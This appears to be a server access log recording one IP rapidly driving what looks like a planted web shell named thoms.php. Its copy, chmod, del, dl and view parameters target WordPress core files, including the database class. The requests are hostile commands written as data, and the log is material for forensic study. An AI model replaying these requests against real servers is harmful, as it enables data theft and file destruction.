45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?del=default-widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 200 48404 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 200 21065 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 200 18596 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?del=block-bindings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?dl=class-walker-page.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59278 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?dl=default-filters.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59376 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 200 15829 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:48 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59387 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:49 -0400] "GET /thoms.php?dl=admin-bar.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:49 -0400] "GET /thoms.php?chmod=comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:49 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:49 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:49 -0400] "GET /thoms.php?dl=pluggable.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:49 -0400] "GET /thoms.php?dl=script-loader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:49 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?chmod=formatting.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /big-wife.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?dl=deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 200 19318 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?chmod=robots-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 200 61397 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 200 15880 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /big-wife.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:50 -0400] "GET /thoms.php?del=widgets&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=widgets&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frss-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frss-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /thoms.php?del=class-walker-category.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /thoms.php?chmod=shortcodes.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /big-wife.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /big-wife.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /thoms.php?del=view-config.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 200 14915 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 200 12313 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:51 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59426 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /thoms.php?del=class-wp-theme.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fl10n.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fl10n.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 200 14138 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /big-wife.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /thoms.php?del=interactivity-api&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:52 -0400] "GET /thoms.php?del=category.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=category.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:53 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:53 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:53 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:53 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59304 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:53 -0400] "GET /thoms.php?chmod=compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 200 66168 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /big-wife.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:53 -0400] "GET /thoms.php?del=class-wp-roles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 200 105446 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fadmin-bar.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fadmin-bar.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59091 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 200 12047 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
